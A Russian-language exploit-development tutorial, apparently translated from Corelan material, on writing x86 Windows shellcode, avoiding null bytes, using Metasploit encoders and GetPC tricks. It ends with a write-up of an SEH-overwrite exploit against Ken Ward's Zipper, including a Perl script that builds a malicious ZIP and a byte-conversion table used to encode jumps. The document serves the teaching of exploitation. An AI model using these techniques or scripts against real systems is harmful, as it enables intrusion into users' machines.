Затем дизассемблируйте его с помощью `ndisasm`, IDA, Beta3 или отладчика. Один исторический пример помещает в стек строку `Write`, загружает жёстко заданный адрес API из XP SP2 и вызывает его. Статического анализа достаточно, чтобы понять: код запускает WordPad. В XP SP3 абсолютные адреса указывают в другие места, и нагрузка не работает.

Подход 2: анализ во время выполнения

Закодированный шелл-код первоначально может дизассемблироваться в декодер с последующими бессмысленными данными. Запускайте его только в контролируемом процессе, устанавливайте точки останова до опасных вызовов API и выполняйте декодер пошагово, пока исходные инструкции не будут восстановлены.

Анализ во время выполнения по своей природе рискован. Понимайте каждую следующую инструкцию, отслеживайте записи и косвенные переходы и не позволяйте неизвестному коду свободно выполняться.

От C к шелл-коду

Цель примера — окно сообщения с текстом `You have been pwned by Corelan` и заголовком `Corelan`.

От C через исполняемый файл к ассемблеру

```
#include <windows.h>

int main(void) {
    MessageBoxA(
        NULL,
        "You have been pwned by Corelan",
        "Corelan",
        MB_OK
    );
    return 0;
}
```

Скомпилируйте и запустите программу, затем откройте её в IDA или отладчике.

Созданный код подготавливает кадр стека, помещает четыре аргумента `MessageBoxA` в обратном порядке, вызывает импортированный API и завершается. Строки находятся в секции `.data` исполняемого файла, поэтому их абсолютные указатели нельзя просто скопировать в переносимый шелл-код.

Помещение строк в стек

Преобразуйте каждую строку в байты, добавьте нулевой терминатор, дополните до четырёхбайтовой границы, разделите на двойные слова и поместите их в стек в обратном порядке.

Для заголовка `Corelan`:

```
xor eax,eax
push eax            ; string terminator
push dword 0x6e616c65 ; "elan"
push dword 0x726f43   ; partial example; align as required
mov ebx,esp         ; EBX -> title
```

Точные значения зависят от заполнения. Важно различать: `MessageBoxA` ожидает указатели для `lpText` и `lpCaption`, а `hWnd` и `uType` являются значениями. После создания каждой строки сохраните `ESP` в регистре.

Помещение аргументов MessageBox в стек

Сигнатура API:

```
int MessageBoxA(
    HWND hWnd,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType
);
```

Аргументы помещаются справа налево:

```
xor eax,eax
push eax       ; uType = MB_OK
push ebx       ; lpCaption
push ecx       ; lpText
push eax       ; hWnd = NULL
```

Собираем всё вместе

Сначала руководство предполагает, что `user32.dll` загружена, и использует адрес `MessageBoxA` из XP SP3. Это подходит для обучения, но не для переносимого шелл-кода.

```
[BITS 32]

; Push "Corelan\0" and save its address in EBX.
push 0x006e616c
push 0x65726f43
mov ebx,esp

; Push "You have been pwned by Corelan" and save ESP in ECX.
push 0x00006e61
push 0x6c65726f
push 0x43207962
push 0x2064656e
push 0x7770206e
push 0x65656220
push 0x65766168
push 0x20756f59
mov ecx,esp

xor eax,eax
push eax
push ebx
push ecx
push eax

mov esi,0x7e4507ea   ; MessageBoxA on this XP SP3 build only
jmp esi
```

Получите опкоды отдельных инструкций с помощью `nasm_shell` или исторического вспомогательного ассемблера `pvefindaddr`.

Поместите байты в небольшой тестовый каркас C:

```
unsigned char shellcode[] = "\x90...";

int main(void) {
    int (*run)(void) = (int (*)(void))shellcode;
    run();
    return 0;
}
```

Остановитесь на `main`, войдите в косвенный вызов и проверьте созданные строки и четыре аргумента API в стеке.

Почему этот код пока ненадёжен

У первого шелл-кода несколько серьёзных проблем:

• Он содержит нулевые байты.
• Он предполагает фиксированный адрес `MessageBoxA`.
• Он предполагает, что `user32.dll` загружена.
• Он небезопасно завершается внутри эксплуатируемого процесса.
• Он может зависеть от состояния стека и регистров, унаследованного от цели.

Функции завершения шелл-кода

Обычный исполняемый файл может использовать `LEAVE` и `RET`, но внедрённый код не создавал ожидаемый вызывающей стороной кадр стека. Доступны три распространённые стратегии завершения.

ExitProcess

`ExitProcess` экспортируется `kernel32.dll` и принимает один код завершения. На компьютере XP SP3 из руководства её адрес равен `0x7c81cb12`:

```
xor eax,eax
push eax
mov ebx,0x7c81cb12
call ebx
```

Вызов исключения

Компактный, но непредсказуемый вариант — вызов нулевого адреса:

```
xor eax,eax
call eax
```

Установленный или повреждённый обработчик исключений может перехватить сбой и даже создать цикл, поэтому в общем случае такое завершение небезопасно.

ExitThread

`ExitThread` также принимает код завершения и может закончить только текущий поток, повышая вероятность выживания процесса-хозяина. Найдите её адрес с помощью IDA, `dumpbin` или утилиты вроде `arwin`.

Извлечение экспортов DLL

`dumpbin` из Visual Studio выводит экспорты:

```
dumpbin.exe c:\windows\system32\kernel32.dll /exports
```

Выведенные значения являются относительными виртуальными адресами. Прибавьте базу модуля, чтобы получить адрес времени выполнения. Пакетный цикл может собрать экспорты всех DLL в `system32`, однако переносимый шелл-код должен разрешать функции во время выполнения, а не полагаться на отчёт конкретного компьютера.

Создание шелл-кода с помощью NASM

Запишите инструкции в текстовый файл, начинающийся с `[BITS 32]`:

```
[BITS 32]

xor eax,eax
; construct strings and arguments
; resolve or call APIs
```

Соберите его как плоский двоичный файл:

```
nasm -f bin -o msgbox.bin msgbox.asm
```

Прочитайте двоичный файл как массив байтов C и проверьте в тестовом каркасе.

Работа с нулевыми байтами

Уязвимости копирования строк часто воспринимают `0x00` как терминатор. Ноль в полезной нагрузке может обрезать всё последующее. Шелл-код должен либо использовать эквивалентные инструкции без запрещённых байтов, либо кодировать данные и восстанавливать их во время выполнения.

1. Воспроизведение значений сложением и вычитанием

Чтобы создать `0x006e616c`, не встраивая нулевой байт, вычтите удобное ненулевое значение и прибавьте его во время выполнения:

```
mov ebx,0xef5d505b
add ebx,0x11111111
push ebx              ; produces 0x006e616c
```

2. Точная запись нулевого байта

Поместите в стек ненулевые байты-заполнители, вычислите адрес байта, который должен стать нулём, и запишите туда нулевой байт через регистр. Это исключает нули из потока инструкций ценой дополнительной настройки.

3. Формирование значения побайтно

Сначала поместите в стек обнулённое двойное слово, затем запишите каждый ненулевой символ по смещениям от базового регистра:

```
xor eax,eax
push eax
mov ebp,esp
mov byte [ebp],0x6c
mov byte [ebp+1],0x61
mov byte [ebp+2],0x6e
```

4. XOR двух безопасных значений

Выберите два двойных слова, XOR которых даёт нужное значение:

```
mov eax,0x777777ff
mov ebx,0x77191693
xor eax,ebx           ; EAX = 0x006e616c
push eax
```

5. Использование частей регистра

К регистру x86 можно обращаться как к 32-разрядному (EAX), 16-разрядному (AX) или младшему и старшему 8-разрядным (AL/AH). Создайте значение, не кодируя его нулевые старшие байты:

```
xor eax,eax
mov al,1
push eax
```

6. Выбор более коротких эквивалентных инструкций

Вместо перемещения непосредственного значения 1 используйте арифметические или стековые операции:

```
xor eax,eax
inc eax
push eax
```

В зависимости от окружающего состояния сама PUSH 1 может оказаться самым коротким вариантом.

7. Замена терминатора заполнением и отдельное помещение нулей

Дополните строку пробелами до границы двойного слова, поместите ненулевые двойные слова в стек и отдельно добавьте созданное нулевое двойное слово как терминатор.

Это лишь примеры, а не исчерпывающий список. Всегда проверяйте собранные байты: безобидная на вид инструкция может кодироваться запрещёнными байтами.

Кодировщики полезной нагрузки

Недопустимые символы зависят от конкретного эксплойта. Они определяются тем, как цель читает, нормализует, декодирует, копирует или завершает входные данные. Полезная нагрузка, пригодная для одного пути ввода, может повреждаться в другом.

Обнаружение недопустимых символов

Запишите исходный шелл-код в файл, поместите его в целевой процесс, остановитесь до выполнения и сравните с памятью:

```
!pvefindaddr compare c:\tmp\shellcode.bin
```

Отчёт показывает усечение и смещения изменённых байтов. Beta3 также умеет проверять двоичный файл по известному набору запрещённых байтов.

Кодировщики Metasploit

Выведите список кодировщиков x86:

```
./msfencode -l
```

Кодировщик преобразует исходную нагрузку и добавляет перед ней заглушку декодера. Во время выполнения заглушка получает ссылку на счётчик команд, в цикле обрабатывает закодированные данные, записывает исходные инструкции и естественно переходит в них.

x86/shikata_ga_nai

Закодируйте двоичный файл с исключением нулей:

```
./msfencode -i shellcode.bin -e x86/shikata_ga_nai -b '\x00' -t c
```

В примере 78-байтовая нагрузка превращается в 105 байт. Декодер получает собственный адрес, инициализирует счётчик цикла и ключ XOR, затем декодирует по одному двойному слову за итерацию. Ключ аддитивно изменяется, а восстановленная нагрузка записывается сразу после цикла.

Декодер полиморфен: выбор регистров, порядок инструкций, ключи и представление байтов могут меняться между запусками при сохранении поведения.

x86/alpha_mixed

Этот кодировщик создаёт значительно более крупную нагрузку преимущественно из буквенно-цифровых символов. Он использует доступные в таком ограниченном наборе инструкции для восстановления исходного кода.

x86/fnstenv_mov

Этот кодировщик использует окружение FPU для получения собственного адреса, а затем запускает цикл декодирования. В показанной нагрузке калькулятора восстановленный код в итоге находит и вызывает `WinExec`.

Skylined Alpha3

Alpha3 создаёт полностью буквенно-цифровые нагрузки для нескольких кодировок символов и конфигураций базового регистра. Обычный процесс кодирует необработанный двоичный файл, а затем форматирует результат как строку байтов для эксплойта.

Создание собственного кодировщика

Если стандартные кодировщики не соответствуют набору символов цели, напишите специализированный декодер. Он должен обеспечивать механизм GetPC, обратимое преобразование, счётчик цикла или терминатор, доступное для записи пространство декодирования и надёжный переход к восстановленной нагрузке.

Найти себя: GetPC

Декодеру часто нужен абсолютный адрес себя или закодированных данных. Это называется **GetPC**, то есть получение счётчика команд.

CALL $+5

```
call $+5
pop eax
```

`CALL` помещает в стек адрес следующей инструкции, который извлекает `POP EAX`. Относительный вызов обычно содержит нулевые байты.

Прямой вызов метки

```
call getpc
getpc:
pop eax
```

Принцип тот же; в зависимости от смещения кодировка также может содержать нежелательные нули.

CALL $+4

```
call $+4            ; e8 ff ff ff ff
inc ebx             ; last FF plus C3 can form a harmless instruction
pop ecx
```

Компактная семибайтовая конструкция избегает нулей, намеренно передавая управление последнему байту кодировки вызова, а затем извлекая помещённый в стек адрес.

FPU FSTENV

Выполните инструкцию FPU и сохраните окружение сопроцессора. По известному смещению оно содержит адрес последней инструкции FPU:

```
fldz
fstenv [esp-0xc]
pop eax
```

Это короткий примитив GetPC без нулей, используемый несколькими кодировщиками.

Обратный вызов

Поместите декодер перед обратным относительным `CALL`. Вызов помещает в стек адрес внутри полезной нагрузки и переходит к метке, которая извлекает его в регистр. Тщательный выбор структуры исключает нулевые байты и располагает регистр на нужной базе.

Код GetPC — не формальная заготовка: именно он позволяет позиционно-независимому шелл-коду найти свои закодированные данные после копирования по непредсказуемому адресу.

Эксплуатация Ken Ward Zipper: используем преобразование полезной нагрузки

corelanc0d3r, 2010-03-27

В статье, которую я написал для сайта abysssec.com, я объяснил этапы и методы, необходимые для создания рабочего эксплойта для Ken Ward's Zipper.

Одной из главных трудностей при создании эксплойта было ограничение набора символов. По сути, в полезной нагрузке я мог использовать лишь подмножество символов ASCII — только символы, разрешённые в имени файла, — поскольку остальные преобразовывались во что-то другое. Это могло либо разрушить структуру эксплойта, либо изменить поведение полезной нагрузки внутри приложения.

Поэтому я просто старался полностью избегать этих «плохих символов» и нашёл способы заставить эксплойт работать с помощью цепочек переходов, собственных ASCII-декодеров и кода, закодированного alpha2. Решение получилось весьма сложным, но работало нормально.

Сегодня я объясню альтернативный подход к ограничениям набора символов и покажу, как поведение процесса преобразования символов можно использовать для упрощения эксплойта. Иными словами, я попробую превратить преобразование из проблемы в преимущество.

Двое моих друзей из Corelan Team, TecR0c и mr_me, заметили, что этим можно воспользоваться, а TecR0c задокументировал результат процесса преобразования. Его таблица доступна здесь. Вскоре после этого мой друг _sinn3r, также из Corelan Team, применил метод при создании эксплойта для уязвимости Ken Ward.

Пожалуй, настало время и мне добавить свои соображения: рассмотреть документирование процесса преобразования и возможности его использования.

> **Важно:** прежде чем читать эту публикацию, я настоятельно рекомендую ознакомиться со статьёй в блоге abysssec.com. Без неё некоторые понятия, предположения и решения из этой публикации будут непонятны.

Подводя итог статье на abysssec.com, мы знаем следующее:

• Смещение до nSEH составляет 1022 байта.
• Можно использовать указатель на pop-pop-ret из самого исполняемого файла.
• Шелл-код присутствует в памяти в неизменённом виде.
• Для поиска и выполнения шелл-кода необходимо разместить egghunter.

Из-за ограничения набора символов мне пришлось использовать несколько переходов назад и вперёд, писать код для выравнивания ESP, создавать и запускать собственные декодеры, чтобы направить регистр на начало egghunter, а затем запускать сам egghunter.

Всё работало, но процесс был довольно сложным и трудоёмким.

Влияние преобразования набора символов

При преобразовании полезной нагрузки возможны два исхода. Во-первых, она может быть усечена: часть данных отбрасывается и теряется. Скорее всего, это отрицательно скажется на возможности создать рабочий эксплойт.

Во-вторых, байты могут быть искажены, заменены или расширены. При этом полезная нагрузка также может обрезаться, поскольку некоторые символы влияют на строку полезной нагрузки либо придают буферу эксплойта особый смысл. Например, если байт преобразуется в `0x5c`, а мы работаем с именами файлов, значение `5c` — обратная косая черта — может изменить обработку строки приложением. Это не обязательно станет проблемой, но, скорее всего, изменит смещения или место, где находится шелл-код.

При аккуратном подходе можно пережить преобразование и, возможно, использовать сам процесс преобразования для построения эксплойта.

Поэтому, выяснив, что полезная нагрузка действительно преобразуется, важно определить влияние этого преобразования на неё.

Для этого достаточно создать строку, содержащую все или почти все байты, и передать её приложению.

Рассмотрим следующий сценарий:

```
# Exploit script for Ken Ward's zipper
# Taking advantage of payload conversion
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#-------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

my $size=4064;
my $offset=1022;
my $filename= "Admin accounts and passwords.txt"." " x 100);
my $junk = "A" x ($offset - length($filename));
my $nseh="BBBB";
my $seh="CCCC";
my $payload = $filename.$junk.$nseh.$seh;
my $testpattern=" ";
my $cnt=1;
while ($cnt < 256)
{
  # new line, carriage return
  if (($cnt ne 10) && ($cnt ne 13))
  {
    # forward slash, colon, backslash
    if (($cnt ne 47) && ($cnt ne 58) && ($cnt ne 92))
    {
      $testpattern=$testpattern.chr($cnt);
    }
  }
  $cnt=$cnt+1
}
my $rest = "D" x ($size-length($payload.$testpattern));
```

```
$payload=$payload.$testpattern.$rest.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
              $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";
```

После перезаписи nSEH значением `BBBB` и SEH значением `CCCC` я разместил тестовый шаблон. Он состоит из большинства байтов от `0x01` до `0xFF`. Я исключил лишь несколько байтов, поскольку опытным путём выяснил, что они влияют на поведение приложения при обработке полезной нагрузки:

• Перевод строки и возврат каретки.
• Прямая косая черта, обратная косая черта и двоеточие.

Эти пять байтов сразу можно считать «плохими символами». Это не означает, что их совсем нельзя использовать, но необходимо учитывать, что они радикально изменят поведение, а значит, придётся переделать весь сценарий эксплойта.

Создайте ZIP-файл с помощью приведённого сценария. Откройте Ken Ward Zipper, подключите к нему Immunity и откройте ZIP-файл.

Затем дважды щёлкните имя файла `Admin accounts and passwords.txt` внутри архива. Это вызовет нарушение доступа, и управление перейдёт к Immunity Debugger.

Убедитесь, что запись SEH по-прежнему перезаписана значениями `BBBB` и `CCCC`:

Найдите полезную нагрузку в стеке и посмотрите на данные сразу после места перезаписи записи SE:

Мы видим `$testpattern`, размещённый в полезной нагрузке после перезаписи записи SE.

Пока всё хорошо.

Определение и документирование влияния преобразования

Найдя тестовый шаблон, необходимо обнаружить и задокументировать байты, заменённые другими значениями. Эта документация нужна, чтобы понять, можно ли воспользоваться определёнными преобразованиями для упрощения эксплойта.

Определить и задокументировать преобразование можно двумя способами.

Первый — вручную: записывать исходные байты, находить преобразованные байты в полезной нагрузке и сопоставлять их. Не забывайте, что некоторые байты исключены из полезной нагрузки. Это займёт некоторое время, но вполне сработает.

Или можно поручить неприятную работу pvefindaddr.

Загрузите pvefindaddr версии 1.27 или новее: в старых версиях есть небольшая ошибка, приводящая к неточным результатам.

Затем добавьте следующие строки в конец Perl-сценария и снова запустите его:

```
open(FILE,">c:\tmp\pattern.bin");
print FILE $testpattern;
close(FILE);
```

Теперь тестовый шаблон записан и в стек, и в файл. Поэтому pvefindaddr может сравнить их и указать изменения:

```
!pvefindaddr compare c:\tmp\pattern.bin
```

Дождитесь завершения сравнения и откройте файл `compare.txt` в каталоге программы Immunity Debugger.

Найдите в файле раздел, относящийся к адресу в стеке, где обнаружена полезная нагрузка; в нашем примере это `0x0012F910`.

```
* Reading memory at location 0x0012F910
   Corruption at position 12 : Original byte : 0f - Byte in memory : a4
   Corruption at position 17 : Original byte : 14 - Byte in memory : b6
   Corruption at position 18 : Original byte : 15 - Byte in memory : a7
   Corruption at position 122 : Original byte : 80 - Byte in memory : c7
   Corruption at position 123 : Original byte : 81 - Byte in memory : fc
   Corruption at position 124 : Original byte : 82 - Byte in memory : e9
   Corruption at position 125 : Original byte : 83 - Byte in memory : e2
   Corruption at position 126 : Original byte : 84 - Byte in memory : e4
   Corruption at position 127 : Original byte : 85 - Byte in memory : e0
   Corruption at position 128 : Original byte : 86 - Byte in memory : e5
   Corruption at position 129 : Original byte : 87 - Byte in memory : e7
   Corruption at position 130 : Original byte : 88 - Byte in memory : ea
   Corruption at position 131 : Original byte : 89 - Byte in memory : eb
   Corruption at position 132 : Original byte : 8a - Byte in memory : e8
   Corruption at position 133 : Original byte : 8b - Byte in memory : ef
   Corruption at position 134 : Original byte : 8c - Byte in memory : ee
   Corruption at position 135 : Original byte : 8d - Byte in memory : ec
   Corruption at position 136 : Original byte : 8e - Byte in memory : c4
   Corruption at position 137 : Original byte : 8f - Byte in memory : c5
   Corruption at position 138 : Original byte : 90 - Byte in memory : c9
   Corruption at position 139 : Original byte : 91 - Byte in memory : e6
   Corruption at position 140 : Original byte : 92 - Byte in memory : c6
   Corruption at position 141 : Original byte : 93 - Byte in memory : f4
   Corruption at position 142 : Original byte : 94 - Byte in memory : f6
   Corruption at position 143 : Original byte : 95 - Byte in memory : f2
   Corruption at position 144 : Original byte : 96 - Byte in memory : fb
   Corruption at position 145 : Original byte : 97 - Byte in memory : f9
   Corruption at position 146 : Original byte : 98 - Byte in memory : ff
   Corruption at position 147 : Original byte : 99 - Byte in memory : d6
   Corruption at position 148 : Original byte : 9a - Byte in memory : dc
   Corruption at position 149 : Original byte : 9b - Byte in memory : a2
   Corruption at position 150 : Original byte : 9c - Byte in memory : a3
   Corruption at position 151 : Original byte : 9d - Byte in memory : a5
   Corruption at position 152 : Original byte : 9e - Byte in memory : 50
   Corruption at position 153 : Original byte : 9f - Byte in memory : 83
   Corruption at position 154 : Original byte : a0 - Byte in memory : e1
   Corruption at position 155 : Original byte : a1 - Byte in memory : ed
   Corruption at position 156 : Original byte : a2 - Byte in memory : f3
   Corruption at position 157 : Original byte : a3 - Byte in memory : fa
   Corruption at position 158 : Original byte : a4 - Byte in memory : f1
   Corruption at position 159 : Original byte : a5 - Byte in memory : d1
   Corruption at position 160 : Original byte : a6 - Byte in memory : aa
   Corruption at position 161 : Original byte : a7 - Byte in memory : ba
   Corruption at position 162 : Original byte : a8 - Byte in memory : bf
   Corruption at position 163 : Original byte : a9 - Byte in memory : ac
   Corruption at position 164 : Original byte : aa - Byte in memory : ac
   Corruption at position 165 : Original byte : ab - Byte in memory : bd
   Corruption at position 166 : Original byte : ac - Byte in memory : bc
   Corruption at position 167 : Original byte : ad - Byte in memory : a1
   Corruption at position 168 : Original byte : ae - Byte in memory : ab
   Corruption at position 169 : Original byte : af - Byte in memory : bb
   Corruption at position 170 : Original byte : b0 - Byte in memory : a6
   Corruption at position 171 : Original byte : b1 - Byte in memory : a6
   Corruption at position 172 : Original byte : b2 - Byte in memory : a6
```

```
Corruption at position 173 : Original byte : b3 - Byte in memory : a6
Corruption at position 174 : Original byte : b4 - Byte in memory : a6
Corruption at position 175 : Original byte : b5 - Byte in memory : a6
Corruption at position 176 : Original byte : b6 - Byte in memory : a6
Corruption at position 177 : Original byte : b7 - Byte in memory : 2b
Corruption at position 178 : Original byte : b8 - Byte in memory : 2b
Corruption at position 179 : Original byte : b9 - Byte in memory : a6
Corruption at position 180 : Original byte : ba - Byte in memory : a6
Corruption at position 181 : Original byte : bb - Byte in memory : 2b
Corruption at position 182 : Original byte : bc - Byte in memory : 2b
Corruption at position 183 : Original byte : bd - Byte in memory : 2b
Corruption at position 184 : Original byte : be - Byte in memory : 2b
Corruption at position 185 : Original byte : bf - Byte in memory : 2b
Corruption at position 186 : Original byte : c0 - Byte in memory : 2b
Corruption at position 187 : Original byte : c1 - Byte in memory : 2d
Corruption at position 188 : Original byte : c2 - Byte in memory : 2d
Corruption at position 189 : Original byte : c3 - Byte in memory : 2b
Corruption at position 190 : Original byte : c4 - Byte in memory : 2d
Corruption at position 191 : Original byte : c5 - Byte in memory : 2b
Corruption at position 192 : Original byte : c6 - Byte in memory : a6
Corruption at position 193 : Original byte : c7 - Byte in memory : a6
Corruption at position 194 : Original byte : c8 - Byte in memory : 2b
Corruption at position 195 : Original byte : c9 - Byte in memory : 2b
Corruption at position 196 : Original byte : ca - Byte in memory : 2d
Corruption at position 197 : Original byte : cb - Byte in memory : 2d
Corruption at position 198 : Original byte : cc - Byte in memory : a6
Corruption at position 199 : Original byte : cd - Byte in memory : 2d
Corruption at position 200 : Original byte : ce - Byte in memory : 2b
Corruption at position 201 : Original byte : cf - Byte in memory : 2d
Corruption at position 202 : Original byte : d0 - Byte in memory : 2d
Corruption at position 203 : Original byte : d1 - Byte in memory : 2d
Corruption at position 204 : Original byte : d2 - Byte in memory : 2d
Corruption at position 205 : Original byte : d3 - Byte in memory : 2b
Corruption at position 206 : Original byte : d4 - Byte in memory : 2b
Corruption at position 207 : Original byte : d5 - Byte in memory : 2b
Corruption at position 208 : Original byte : d6 - Byte in memory : 2b
Corruption at position 209 : Original byte : d7 - Byte in memory : 2b
Corruption at position 210 : Original byte : d8 - Byte in memory : 2b
Corruption at position 211 : Original byte : d9 - Byte in memory : 2b
Corruption at position 212 : Original byte : da - Byte in memory : 2b
Corruption at position 213 : Original byte : db - Byte in memory : a6
Corruption at position 214 : Original byte : dc - Byte in memory : 5f
Corruption at position 215 : Original byte : dd - Byte in memory : a6
Corruption at position 216 : Original byte : de - Byte in memory : a6
Corruption at position 217 : Original byte : df - Byte in memory : af
Corruption at position 218 : Original byte : e0 - Byte in memory : 61
Corruption at position 219 : Original byte : e1 - Byte in memory : df
Corruption at position 220 : Original byte : e2 - Byte in memory : 47
Corruption at position 221 : Original byte : e3 - Byte in memory : 70
Corruption at position 222 : Original byte : e4 - Byte in memory : 53
Corruption at position 223 : Original byte : e5 - Byte in memory : 73
Corruption at position 224 : Original byte : e6 - Byte in memory : b5
Corruption at position 225 : Original byte : e7 - Byte in memory : 74
Corruption at position 226 : Original byte : e8 - Byte in memory : 46
Corruption at position 227 : Original byte : e9 - Byte in memory : 54
Corruption at position 228 : Original byte : ea - Byte in memory : 4f
Corruption at position 229 : Original byte : eb - Byte in memory : 64
Corruption at position 230 : Original byte : ec - Byte in memory : 38
Corruption at position 231 : Original byte : ed - Byte in memory : 66
Corruption at position 232 : Original byte : ee - Byte in memory : 65
Corruption at position 233 : Original byte : ef - Byte in memory : 6e
Corruption at position 234 : Original byte : f0 - Byte in memory : 3d
Corruption at position 235 : Original byte : f1 - Byte in memory : b1
Corruption at position 236 : Original byte : f2 - Byte in memory : 3d
Corruption at position 237 : Original byte : f3 - Byte in memory : 3d
Corruption at position 238 : Original byte : f4 - Byte in memory : 28
Corruption at position 239 : Original byte : f5 - Byte in memory : 29
Corruption at position 240 : Original byte : f6 - Byte in memory : f7
Corruption at position 241 : Original byte : f7 - Byte in memory : 98
Corruption at position 242 : Original byte : f8 - Byte in memory : b0
Corruption at position 243 : Original byte : f9 - Byte in memory : b7
```

```
Corruption at position 244 : Original byte : fa - Byte in memory : b7
Corruption at position 245 : Original byte : fb - Byte in memory : 76
Corruption at position 246 : Original byte : fc - Byte in memory : 6e
Corruption at position 247 : Original byte : fd - Byte in memory : b2
Corruption at position 248 : Original byte : fe - Byte in memory : a6
Corruption at position 249 : Original byte : ff - Byte in memory : a0
  -> Only 119 original bytes found
   +----------------------+----------------------+
   | FILE                 | MEMORY               |
   +----------------------+----------------------+
   |01|02|03|04|05|06|07|08|01|02|03|04|05|06|07|08|
   |09|0b|0c|0e|0f|10|11|12|09|0b|0c|0e|--|10|11|12|
   |13|14|15|16|17|18|19|1a|13|--|--|16|17|18|19|1a|
   |1b|1c|1d|1e|1f|20|21|22|1b|1c|1d|1e|1f|20|21|22|
   |23|24|25|26|27|28|29|2a|23|24|25|26|27|28|29|2a|
   |2b|2c|2d|2e|30|31|32|33|2b|2c|2d|2e|30|31|32|33|
   |34|35|36|37|38|39|3b|3c|34|35|36|37|38|39|3b|3c|
   |3d|3e|3f|40|41|42|43|44|3d|3e|3f|40|41|42|43|44|
   |45|46|47|48|49|4a|4b|4c|45|46|47|48|49|4a|4b|4c|
   |4d|4e|4f|50|51|52|53|54|4d|4e|4f|50|51|52|53|54|
   |55|56|57|58|59|5a|5b|5d|55|56|57|58|59|5a|5b|5d|
   |5e|5f|60|61|62|63|64|65|5e|5f|60|61|62|63|64|65|
   |66|67|68|69|6a|6b|6c|6d|66|67|68|69|6a|6b|6c|6d|
   |6e|6f|70|71|72|73|74|75|6e|6f|70|71|72|73|74|75|
   |76|77|78|79|7a|7b|7c|7d|76|77|78|79|7a|7b|7c|7d|
   |7e|7f|80|81|82|83|84|85|7e|7f|--|--|--|--|--|--|
   |86|87|88|89|8a|8b|8c|8d|--|--|--|--|--|--|--|--|
   |8e|8f|90|91|92|93|94|95|--|--|--|--|--|--|--|--|
   |96|97|98|99|9a|9b|9c|9d|--|--|--|--|--|--|--|--|
   |9e|9f|a0|a1|a2|a3|a4|a5|--|--|--|--|--|--|--|--|
   |a6|a7|a8|a9|aa|ab|ac|ad|--|--|--|--|--|--|--|--|
   |ae|af|b0|b1|b2|b3|b4|b5|--|--|--|--|--|--|--|--|
   |b6|b7|b8|b9|ba|bb|bc|bd|--|--|--|--|--|--|--|--|
   |be|bf|c0|c1|c2|c3|c4|c5|--|--|--|--|--|--|--|--|
   |c6|c7|c8|c9|ca|cb|cc|cd|--|--|--|--|--|--|--|--|
   |ce|cf|d0|d1|d2|d3|d4|d5|--|--|--|--|--|--|--|--|
   |d6|d7|d8|d9|da|db|dc|dd|--|--|--|--|--|--|--|--|
   |de|df|e0|e1|e2|e3|e4|e5|--|--|--|--|--|--|--|--|
   |e6|e7|e8|e9|ea|eb|ec|ed|--|--|--|--|--|--|--|--|
   |ee|ef|f0|f1|f2|f3|f4|f5|--|--|--|--|--|--|--|--|
   |f6|f7|f8|f9|fa|fb|fc|fd|--|--|--|--|--|--|--|--|
   |fe|ff|            |--|--|           |
   +----------------------+----------------------+
```

Отлично. Видно, что большинство символов в обычном диапазоне ASCII не изменились. Все значения выше `0x7f` были заменены, и теперь у нас есть полный список преобразований этих байтов.

Что с этим можно сделать?

Хороший вопрос. Сделать можно многое.

Мы можем использовать все полученные байты — результаты преобразования других байтов — в кодах операций и инструкциях, упрощающих написание эксплойтов. Разумеется, в полезную нагрузку нужно записывать исходные байты, рассчитывая на то, что во время выполнения преобразование превратит их в полезные значения.

Переходы вперёд и назад

В статьях о QuickZip и Ken Ward на abysssec.com возникала необходимость выполнять переходы вперёд или назад с помощью условного перехода. Это были короткие переходы, поэтому доступная

дистанция была ограничена.

Из таблицы преобразований видно, что для перехода можно получить `0xeb`: значение `0x89` преобразуется в `0xeb`.

Значит, чтобы перейти вперёд, например, на 12 (`0x0c`) байт, можно использовать `0x89 0x0c`. Во время выполнения эти два байта преобразуются в `0xeb 0x0c`, то есть в переход вперёд.

Для переходов назад действует тот же принцип. Например, в nSEH можно выполнить переход назад. Найдите в `compare.txt` все байты, которые после преобразования дают значение, начинающееся с `f`.

```
Original 81 -> fc    Original 93 -> f4    Original 94 -> f6
Original 95 -> f2    Original 96 -> fb    Original 97 -> f9
Original 98 -> ff    Original a2 -> f3    Original a3 -> fa
Original a4 -> f1    Original f6 -> f7
```

Список можно расширить байтами, начинающимися с `e`: они также приведут к переходу назад.

Чтобы перейти назад на 12 байт, требуется `0xeb 0xf4`. При использовании `0x89 0x93` во время выполнения получится именно такой переход.

Для дальнего перехода назад необходимо четырёхбайтовое смещение вместо однобайтового.

Предположим, нужно перейти назад на 800 байт. Код операции для этого: `0xe9 0xe0 0xfc 0xff 0xff`.

Чтобы получить его, в полезную нагрузку необходимо записать `0x82 0x85 0x81 0x98 0x98`.

Совсем неплохо, правда?

Указатели

Возможности не ограничиваются воспроизведением инструкций. Преобразованием можно воспользоваться и при записи указателей в стек. Что делать, если единственный рабочий указатель на pop-pop-ret содержит недопустимый байт или значение, которое будет преобразовано? Попробуйте обратить преобразование себе на пользу.

Предположим, нужный указатель на pop-pop-ret равен `0x0046BBFA`. Нулевой байт не представляет проблемы, как и `46`. Но и `BB`, и `FA` преобразуются в другие значения. Поэтому для получения после преобразования адреса `0x0046BBFA` нужно записать `0x0046AFA3`: `AF` преобразуется в `BB`, а `A3` — в `FA`.

Переходы к регистрам

Код перехода тоже можно воспроизвести:

- `jmp eax`: `0xff 0xe0` -> `0x98 0x85`
